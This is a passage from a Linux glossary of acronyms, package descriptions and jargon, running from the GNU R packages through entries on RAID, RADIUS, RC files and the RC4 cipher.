GNU R Gnome gui for statistical computing system R is `GNU S' – A language and environment for statistical computing and graphics. R is similar to the award-winning S system, which was developed at Bell Laboratories by John Chambers et al. It provides a wide variety of statistical and graphical techniques (linear and nonlinear modelling, statistical tests, time series analysis, classification, clustering, ...). R is designed as a true computer language with control-flow constructions for iteration and alternation, and it allows users to add additional functionality by defining new functions. For computationally intensive tasks, C, C++ and Fortran code can be linked and called at run time. This package provides the dynamic link libraries needed to start GNU R with the GNOME libraries frontend as in "R --gui=GNOME" From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

r-mathlib

GNU R standalone mathematics library R is `GNU S' – A language and environment for statistical computing and graphics. R is similar to the award-winning S system, which was developed at Bell Laboratories by John Chambers et al. It provides a wide variety of statistical and graphical techniques (linear and nonlinear modelling, statistical tests, time series analysis, classification, clustering, ...). R is designed as a true computer language with control-flow constructions for iteration and alternation, and it allows users to add additional functionality by defining new functions. For computationally intensive tasks, C, C++ and Fortran code can be linked and called at run time. This packages provides the libRmath shared and static libraries which can be called from standalone C or C++ code. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

r-recommended

GNU R collection of recommended packages R is `GNU S' – A language and environment for statistical computing and graphics. R is similar to the award-winning S system, which was developed at Bell Laboratories by John Chambers et al. It provides a wide variety of statistical and graphical techniques (linear and nonlinear modelling, statistical tests, time series analysis, classification, clustering, ...). This Debian package contains the R packages that are recommended by the upstream R core team as part of a complete R distribution. It comprises the following packages: – KernSmooth: Functions for kernel smoothing for Wand & Jones (1995) – VR: The MASS, class, nnet and spatial libraries from Venables and Ripley, `Modern Applied Statistics with S-PLUS' (3rd edition). – boot: Bootstrap R (S-Plus) Functions from the book "Bootstrap Methods and Their Applications" by A.C. Davison and D.V. Hinkley (1997). – cluster: Functions for clustering (by Rousseeuw et al.) – foreign: Read data stored by Minitab, S, SAS, SPSS, Stata, ... – grid: The grid graphics package (required by lattice) – lattice: Implementation of Trellis (R) graphics – mgcv: Multiple smoothing parameter

estimation and GAMs by GCV – nlme: Linear and nonlinear mixed effects models – rpart: Recursive partitioning and regression trees – survival: Survival analysis, including penalised likelihood. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RA

Registration Authority (PKI, ITU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RA

Remote Access (BBS) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Rabid Squirrel Linux

Development on this distribution appears to have ceased early in 2000. Distribution development is not all that active. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

racc

A generator of LALR parser written by Ruby Racc is LALR(1) parser generator coded for Ruby. Written by Ruby and output Ruby source. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

racc-runtime

Runtime library for parser which is generated by Racc. Runtime library for parser which is generated by Racc. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

raccess

Security Tool to audit remote systems Remote Access Session is a security tool to analyze the integrity of systems. The program tries to gain access to a system using the most advanced techniques of remote intrusion. It lets work on normal mode (fast) and hard mode (more intensive). There is a big difference between "Remote Access Session" and other remote security audit tools: If "Remote Access Session" find a remote vulnerability that gives user account or root, it will try to exploit it and it will return a shell in order to discard false positives. It is actually under development and it just has a few features of the future final version: *Advanced scanning capabilities. This tool doesn't block against firewall and it's fast. *Total service's banner info added: Includes web server detection version and named version, and the classical too (ftp, pop ...) *Writes reports with info of the host analyzed to the hard disk. *Remote OS detect feature with QueSO. *If detects any vulnerability, the tool chooses the right exploits based on version, vendor and OS of the services that run on the remote host and ask you on a interactive way if you want to run these exploits in order to check the real danger the remote host can receive and discard false positives. Includes 69 remote exploits for various OS and services. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

raccess4vbox3

DTMF support and utilities for vbox3 raccess4vbox3 provides initial configuration of vbox3, support for DTMF, and comes as a sample answering machine with remote access mode plus example modes for remote control of the system. A set of american voice sound files created with festival is included. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

race

A 3D arcade overhead car game. Race is a 3D racing game where you compete against computer opponents. The objective is to finish first. The setting is mostly off-road. This package contains the executable. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RACE

Research and technology development in Advanced Communications technologies in Europe (Europe, predecessor, CORDIS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RACE

Rowbased ASCII Compatible Encoding (ASCII, Internet, DOMAIN, VeriSign/NSI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RACF

Resource Access Control Facility (IBM, MVS/ESA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RACH

Random Access CHannel (GSM, CCCH, mobile-systems) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAD

Rapid Access Disk From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAD

Rapid Application Development [toolkit] (Delphi, Borland) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAD

Research And Development [data communications] (manufacturer) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

radio

ncurses-bases radio application This is a ncurses-based radio application. It supports the video4linux API. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

radioclk

simple ntp refclock daemon for MSF/WWVB/DCF77 time signals radioclkd takes the demodulated time signals from simple MSF/WWVB/DCF77 time signal receivers on the DCD line of a serial port, decodes the signals, and provides an interface to ntp via the shared memory refclock driver. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RADIUS

Remote Authentication Dial-In User Service (RFC 2138) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RADIUS

Remote Authentication Dial-In user Service. A standard for authentication and accounting, RADIUS is primarily used to control dial-up access to PPP and other services. The protocol was standardized in RFC 2058, the current implementation is defined in RFCs 2138 and 2139. RADIUS uses UDP packets, older servers use ports 1645 and 1646, the current standard is port 1812 for authentication and 1813 for accounting. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RADIUS (Remote Authentication Dial In User Service)

RADIUS allows distributed "modem pools" to use the same authentication server. When a user dials-up to an ISPs, the username/password is transmitted across the Internet to the central RADIUS server. This allows an ISP to easily manage many dialin locations. Key point: Since its humble beginnings, RADIUS has spread to become a generic remote authentication service. For example, it is becoming the desired standard to fix IEEE 802.11 wireless authentication problems. random
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

radiusclient1

/bin/login replacement which uses the RADIUS protocol for authentication. Radiusclient is a /bin/login replacement which gets called by a getty to log in a user and to setup the user's login environment. Normal login programs just check the login name and password which the user entered against the local password file (/etc/passwd, /etc/shadow). In contrast to that Radiusclient also uses the RADIUS protocol to authenticate the user. This is the main binary archive. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

radiuscontext

Radius log parser and report generator. Parses radius detail logfiles and generates pretty reports in plaintext, html, or csv. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

radiusd-cistron

Radius server written by Cistron. RADIUS is a means of managing clients' access to network services, and is described by RFCs 2865 to 2869. This GPLed Radius server is not based on any Livingston code. It is compatible with the Livingston-2.01 server though. Over radius-2.01, it has support for Exec-Program on authentication, it is possible to limit the number of concurrent logins reliably, it has tagged attribute support, it can replicate accounting packets, and more. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

radiusd-livingston

Remote Authentication Dial-In User Service (RADIUS) server Provides the RADIUS server from Lucent Technologies Inc, formerly Livingston Enterprises Inc. RADIUS is a means of managing clients' access to network services, and is described by RFCs 2865 to 2869. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RADSL

Rate Adaptive Digital Subscriber Line (ADSL) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

radvd

Router Advertisement Daemon IPv6 has a lot more support for autoconfiguration than IPv4. But for this autoconfiguration to work on the hosts of a network, the routers of the local network have to run a program which answers the autoconfiguration requests of the hosts. On Linux this program is called radvd, which stands for Router ADvertisement Daemon. This daemon listens to router solicitations (RS) and answers with router advertisement (RA). Furthermore unsolicited RAs are also sent from time to time. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAID

A group of hard disks under the control of array management software that work together to improve performance and decrease the odds of losing data due to mechanical or electronic failure by using such techniques as data striping. RAID implementations, because of their complexity and steep cost, are most often used on network servers. Several RAID levels exist, each with advantages and disadvantages. See RAID level 0 through RAID level 53. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAID

Redundant Array of Independent / Inexpensive Disks (HDD, RAID) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAID

Redundant Array of Inexpensive Disks – a method whereby information is spread across several disks, using techniques such as disk striping (RAID Level 0) and disk mirroring (RAID level 1) to achieve redundancy, lower latency and/or higher bandwidth for reading and/or writing, and recoverability from hard-disk crashes. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAID

see redundant arrays of independent disks (RAID). From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAID (Redundant Array of Independent/Inexpensive Disks/Devices)

A method of providing data redundancy, improved performance and/or quick data recoverability from disk crashes, by spreading or duplicating data across multiple disk drives. Commonly used RAID types include RAID 0 (Data Striping), RAID 1 (Disk Mirroring) and RAID 5 (Striping with Distributed Parity). RAID configurations typically require SCSI disk drives (not IDE/EIDE) and may require identical drives (same capacity, brand, etc.). RAID arrays appear to the operating system as a single device. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAID level 0

A redundant array of inexpensive disks (RAID) scheme that includes data striping to improve disk performance but offers no protection against data loss due to drive failure. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAID level 0 & 1

See RAID level 10. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAID level 1

A redundant array of inexpensive disks (RAID) scheme involving an array of two hard disks with identical contents. RAID level 1 does not employ data striping, so it offers no speed advantage and is not economical. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAID level 10

A redundant array of inexpensive disks (RAID) implementation that combines the data striping of RAID level 0 with the data-redundancy of RAID level 1. RAID level 10 array have high performance, but are not economical. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAID level 2

A redundant array of inexpensive disks (RAID) scheme that uses data striping over an array of as many as a hard disks. Several of the drives in the array have copies of data that exist elsewhere, enabling them to catch and fix errors in the outgoing data stream. RAID level 2 is one of the most popular implementations. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAID level 3

A redundant array of inexpensive disks (RAID) implementation very similar to RAID levels 2, in which the level disks that contain the copies of data that appears elsewhere can detect but not fix errors in the outgoing data stream. Though RAID level 3 is slightly slower than RAID level 2 when errors occur, modern hard disks rarely make errors. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAID level 4

A redundant array of inexpensive disks (RAID) implementation that distributes copies of sectors across an array of hard disked and uses one drive to check for, but not correct, errors in the outgoing data stream. RAID level 4's sector-copying technique is a special type of data striping. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAID level 5

The most commonly used redundant array of inexpensive disks (RAID) implementation. RAID level 5 uses a sector-based data striping scheme like RAID level 4, but does not require a special data-checking disk since it distributes that function across the entire array as well. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAID level 53

A redundant array of inexpensive disks (RAID) scheme that uses data striping on two separate RAID level 3 arrays RAID level 53 arrays are very fast and quite fault-tolerant. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAID level 6

A redundant array of inexpensive disks (RAID) implementation that allows two hard disks to fail without loss of data and boasts very good data-reading performance, but also has poor data-writing performance. RAID level 6 is similar to RAID level 5, except that it distributes two copies of the error-checking data across the array. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

raidtools

The raidtools package includes the tools you need to set up and maintain a software RAID device (using two or more disk drives in combination for fault tolerance and improved performance) on a Linux system. It only works with Linux 2.2 kernels and later, or with a 2.0 kernel specifically patched with newer RAID support. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

raidtools

Utilities to support 'old-style' RAID disks The Multiple Device driver's main goal is to group several disks or partitions together, making them look like a single block device. This includes linear adding of disks, RAID-0, RAID-4 and -5. If you are creating new RAID arrays, the raidtools2 package and newer RAID drivers may be a better choice. This package may only installed on systems with a kernel version higher than 2.1.62. With kernels from the 2.4 series or newer, or with 2.2 kernels with the 'new-style' RAID-patches, you should use raidtools2 instead. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

raidtools2

Utilities to support 'new-style' RAID disks The Multiple Device driver's main goal is to group several disks or partitions together, making them look like a single block device. This includes linear adding of disks, RAID-0, -1, -4 and -5. 'New-style' RAID arrays have a lot features not present in the 'older' RAID arrays, including autodetection. Old arrays can be upgraded with this package, and it is mostly a good idea to use this package when creating new RAID arrays. In order to use this package, you must have a kernel with 'new-style' RAID drivers, which are included in stock kernels since the 2.4 series. For older kernels, you can find patches at <http://people.redhat.com/mingo/raid-patches/>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rain

packet builder for testing IP protocols implementations. rain is a powerful packet builder for testing stability of hardware and software utilizing IP protocols. It offers its users the capability of fully customizing their own packets with a wide variety of command line options. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAIR

Random Access Information Retrieval From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAM

Random Access Memory (RAM, IC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAM device

is a block device that can be used as a disk but really points to a physical area of RAM. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAM disk

An area of random-access memory (RAM) configured by a utility program to emulate a hard disk drive. Data stored in a RAM disk can be accessed more quickly than data stored on a disk drive, but this data is erased whenever you turn off or reboot the computer. See configuration file, device driver, and RAMDRIVE.SYS. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAMDAC

Random Access Memory Digital to Analog Converter (RAM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAMIS

Rapid Access Management Information System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAMP

Remote Access Maintenance Protocol From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAMS

Record Archival Management System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ramsize

query/set image root device, RAM disk size, or video mode From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAND

Rural Area Network Design From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

random

adj. 1. Unpredictable (closest to mathematical definition); weird. "The system's been behaving pretty randomly." 2. Assorted; undistinguished. "Who was at the conference?" "Just a bunch of random business types." 3. (pejorative) Frivolous; unproductive; undirected. "He's just a random loser." 4. Incoherent or inelegant; poorly chosen; not well organized. "The program has a random set of misfeatures." "That's a random name for that function." "Well, all the names were chosen pretty randomly." 5. In no particular order, though deterministic. "The I/O channels are in a pool, and when a file is opened one is chosen randomly." 6. Arbitrary. "It generates a random name for the scratch file." 7. Gratuitously wrong, i.e., poorly done and for no good apparent reason. For example, a program that handles file name defaulting in a particularly useless way, or an assembler routine that could easily have been coded using only three registers, but redundantly uses seven for values with non-overlapping lifetimes, so that no one else can invoke it without first saving four extra registers. What randomness! 8. n. A random hacker; used particularly of high-school students who soak up computer time and generally get in the way. 9. n. Anyone who is not a hacker (or, sometimes, anyone not known to the hacker speaking); the noun form of sense 2. "I went to the talk, but the audience was full of randoms asking bogus questions". 10. n. (occasional MIT usage) One who lives at Random Hall. See also J. Random, some random X. 11. [UK] Conversationally, a non sequitur or something similarly out-of-the-blue. As in: "Stop being so random!" This sense equates to 'hatstand', taken from the Viz comic character "Roger Irrelevant - He's completely Hatstand." From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

random access memory (RAM)

The main memory of a computer. RAM is used for temporarily storing currently running applications and accessed data. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

random-access memory digital-to-analog convertor (RAMDAC)

A chip in the video adapter that converts three digital signals (one for each primary color) into one analog signal that is sent to the monitor. RAMDACs use on-board randomaccess memory (RAM) to store information before processing it. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

randtype

semi-random text typer Randtype is a small utility to output characters or lines at random intervals. There are a few command line options to refine the output. With it you can output files to the screen, and if you configured it well, it will look like someone is actually typing - with optional typos even. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ranlib

generate index to archive. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAP

Remote Access Point From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAP

[internet] Route Access Protocol (RFC 1476, Internet) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAPID

Resource And Performance Interactive Display system From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAPS

Real Application on Parallel Systems From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RARE

Reseaux Associes pour la Recherche Europeenne (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rarp

manipulate the system RARP table From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RARP

Reverse Address Resolution Protocol (Internet, RFC 903) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rarpd

Reverse Address Resolution Protocol daemon RARP is a protocol which allows individual devices on an IP network to get their own IP addresses from the RARP server. You need this daemon only if you have on your LAN machines like diskless Sun boxes. With kernels up to 2.2 you have the option of using the integrated RARP support instead of this daemon. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ras

Adds redundancy files to archives for data recovery. Ras is a program that adds m extra files to a set of n files, such that the contents of the n original files can be regenerated from any n of the n+m original files and extra files. Normally, these extra files will all be 6 bytes larger then the largest of the original files, but ras has a mode in which the extra files are exactly the same size as the original files. Ras was originally intended for transporting a large file split over several floppy disks in a manner resilient to the corruption of a few of the disks, and a pair of example shell scripts to do this (rassplit and rasmerge) is included in the distribution. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAS

Reliability, Availability and Serviceability (IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAS

Remote Access Software From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAS

Row Address Strobe (IC, DRAM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rasmol

molecule visualization and rendering RasMol is a molecular graphics program intended for the visualisation of proteins, nucleic acids and small molecules. The program is aimed at display, teaching and generation of publication quality images. Currently supported input file formats include Brookhaven Protein Databank (PDB), Tripos' Alchemy and Sybyl Mol2 formats, Molecular Design Limited's (MDL) Mol file format, Minnesota Supercomputer Center's (MSC) XMol XYZ format and CHARMm format files. The loaded molecule may be shown as wireframe, cylinder (drieding) stick bonds, alpha-carbon trace, spacefilling (CPK) spheres, macromolecular ribbons (either smooth shaded solid ribbons or parallel strands), hydrogen bonding and dot surface. Rasmol homepage: <http://klaatu.oit.umass.edu:80/microbio/rasmol/> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rat

Unicast and multicast voice-over-IP application RAT is a network audio tool that allows users to participate in audio conferences over the Internet. These can be between two participants directly, or between a group of participants on a common multicast group. No special features are required to use RAT in point-to-point mode, but to use the multicast conferencing facilities of RAT, a connection to the Mbone, or a similar multicast capable network, is required. RAT is based on IETF standards, using RTP above UDP/IP as its transport protocol, and conforming to the RTP profile for audio and video conferences with minimal control. Further information is available on the WWW, at: <http://www-mice.cs.ucl.ac.uk/multimedia/software/rat/index.html> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ratfor

Rational Fortran preprocessor for Fortran 77. Ratfor77 is a preprocessor that converts the Rational Fortran dialect into ordinary Fortran 77. The output can then be compiled using g77 or f2c + gcc. The Ratfor dialect provides C-like control structures and some syntactic sugar that makes Fortran programs easier to read and write. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ratmenu

Creates X menus from the shell. This is ratmenu, a simple program that allows you to create X menus from the shell. It is a simplified version of 9menu, with the crucial difference that where 9menu only responds to the mouse, and ignores the keyboard, ratmenu has all mouse sensitivity taken out, and only responds to the keyboard. It is meant to be used with the ratpoison window manager. Although it should work with other window managers, YMMV. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RATP

Reliable Asynchronous Transfer Protocol (RFC 916) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ratpoison

Simple window manager with no fat library dependencies. ratpoison is a simple Window Manager with no fat library dependencies, no fancy graphics, no window decorations, and no flashy wank. It is largely modelled after GNU Screen which has done wonders in virtual terminal market. All interaction with the window manager is done through keystrokes. ratpoison has a prefix map to minimize the key clobbering that cripples EMACS and other quality pieces of software. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RATS

Radio-Amateur Telecommunications Society (org., USA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rats

Rough Auditing Tool for Security RATS, the Rough Auditing Tool for Security, is a security auditing utility for C, C++, php, perl, and python code. RATS scans source code, finding potentially dangerous function calls. The goal of rats is not to definitively find bugs (yet), but to provide a reasonable starting point for performing manual security audits. The initial vulnerability database is taken directly from things that could be easily found when starting with the book, "Building Secure Software" by Viega and McGraw. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RAVE

Relational Advanced Visual Environment From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

raw

bind a Linux raw character device From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

raw

Linux IPv4 raw sockets From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

raw mode

A mode in which characters entered into the Linux system are read and interpreted one at a time.

From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rawrec

Buffered raw audio recorder/player The rawrec/rawplay utilities provide a simple way to record or play back raw audio data. Options exist to control the timing of the run, add silent guard time, jump into data files, set DSP parameters, and control buffer size and latency. rawrec should be particularly useful for scripting applications that need to deal with raw audio data. Compared to bplay, rawrec

tries to do less (it only handles raw audio) and does it more correctly (all the options work right for raw audio. I think :). rawrec can work to or from standard io, so if you also get the sox program, you will be able to record and play a wide variety of sound formats. You will need a mixer program, such as aumix. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Raymond, Eric

a software developer who has written a number of important Open Source programs including fetchmail and sed. Eric also maintains 8 FAQs, and has written a number of influential papers including The Cathedral and the Bazaar: an analysis of how and why the Linux development model works. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

razor

spam-catcher using a collaborative filtering network Vipul's Razor is a distributed, collaborative, spam detection and filtering network. Razor establishes a distributed and constantly updating catalogue of spam in propagation. This catalogue is used by clients to filter out known spam. On receiving a spam, a Razor Reporting Agent (run by an end-user or a troll box) calculates and submits a 20-character unique identification of the spam (a SHA Digest) to its closest Razor Catalogue Server. The Catalogue Server echos this signature to other trusted servers after storing it in its database. Prior to manual processing or transport-level reception, Razor Filtering Agents (end-users and MTAs) check their incoming mail against a Catalogue Server and filter out or deny transport in case of a signature match. Catalogued spam, once identified and reported by a Reporting Agent, can be blocked out by the rest of the Filtering Agents on the network. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

razzle

constantly changing 3D stereogram generator razzle generates constantly changing 3D stereograms using SVGAlib. For instructions on viewing stereograms, please see /usr/doc/razzle/README or the man page. WARNING! if you have an epileptic condition, *READ* /usr/doc/razzle/README. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RBA

Relative Byte Address From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rbash

restricted bash, see bash(1) From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RBBS

Remote Bulletin Board System (BBS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RBF

Random Block Filemanager (OS-9) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RBH

Remote Bridge Hub From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RBL

Realtime Blackhole List (Internet, SPAM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rblcheck

Tool to Query RBL Servers This program is a very basic interface to DNS listings such as the RBL filter developed by Paul Vixie and the MAPS project. The basic idea of the filter is that when someone is blacklisted for email abuse of some sort, a new domain name is resolved of the form "2.0.0.127.domain.name.com", where 2.0.0.127 is the abusive IP address in reverse (for example, 2.0.0.127 would be the IP address 127.0.0.2), and "domain.name.com" is the base domain name of the filtering service (such as "blackholes.mail-abuse.org" for the MAPS project RBL filter). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RBM

Linux Dictionary

Realtime Batch Monitor (OS, Xerox) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RBMS

Remote Bridge Management Software From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RBOC

Regional Bell Operating Company (USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rbootd

Remote Boot Daemon The rbootd daemon is used for booting some HP workstations over the network (such as the 9000/300 and 9000/400 series). It can also boot PA RISC workstations. It handles the first stage of the boot sequence and can be used to start booting Linux, NetBSD or HPUX. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rc

An implementation of the AT&T Plan 9 shell. rc is a command interpreter and programming language similar to sh(1). It is based on the AT&T Plan 9 shell of the same name. The shell offers a C-like syntax (much more so than the C shell), and a powerful mechanism for manipulating variables. It is reasonably small and reasonably fast, especially when compared to contemporary shells. Its use is intended to be interactive, but the language lends itself well to scripts. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RC

Reconfigurable Computer / Computing (RL) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RC

Region Co-ordinator (FidoNet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RC

Release Candidate (MS) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RC

Return Code (REXX, ...) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RC

Routing Control From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RC File

A script file containing the startup instructions for a program (an application or even the operating system). The file, to be executed automatically when the operating system is started, contains a list of instructions (commands or other scripts) to run. From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

rc file

Script file containing startup instructions for an application program (or an entire operating system), usually a text file containing commands of the sort that might have been invoked manually once the system was running but are to be executed automatically each time the system starts up. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RC2 (Rivest Cipher 2)

A popular symmetric block-cipher algorithm created by Ron Rivest. It allows keys between 1 and 2048 bits, though most implementations limit keys to 40-bits due to historic export controls. History: The algorithm was a trade-secret until it was posted anonymously in 1996 to USENET. Applications: SSL, SET From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RC24

Ron's Code 2/4 (cryptography), "RC2/4" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RC4 (Rivest Cipher 4, Arcfour, ARC4)

A symmetric stream cipher developed by RSA Data Security, Inc.. Whereas most ciphers have been optimized for hardware (e.g. DES), RC4 was optimized for software. Applications: SSL, which means RC4 is built into your Netscape and Microsoft web browser. CDPD (Cellular) connections for your Palm modem using OmniSky. Lotus Notes, MS Access, Adobe Acrobat, PPTP, Oracle Secure SQL. IEEE 802.11 WEP Key point: RC4 supports variable length keys (up to 2048-bits), but most uses are 40-bits due to historic export controls. History: The algorithm was a trade-secret until 1994 when somebody reverse engineered it and anonymously posted it to the cypherpunks list and USENET. This reverse engineered version is known as "Arcfour" or "ARC4", which stands for "Alleged RC4". It isn't patented. Therefore, RSA Inc. is trying to move all its customers to RC5, which is both patented and copyrighted. The source code is essentially: while (length--) { x++; sx = state[x]; y += sx; sy = state[y]; state[y] = sx; state[x] = sy; *data++ ^= state[(sx+sy)&0xFF];} RSA Inc. still claims that it is a trade secret; however, due to its simplicity, its description is in virtually all crypto textbooks -- it is the most widely known secret on the net. Key point: RC4 works by XORing the plain-text against a stream of random numbers. Unless a whitening seed is provided at the beginning, the plain-text may be recovered. This is a common bug in products. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RC5

Rivest Cipher 5 (RFC 2040, cryptography) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

RC5

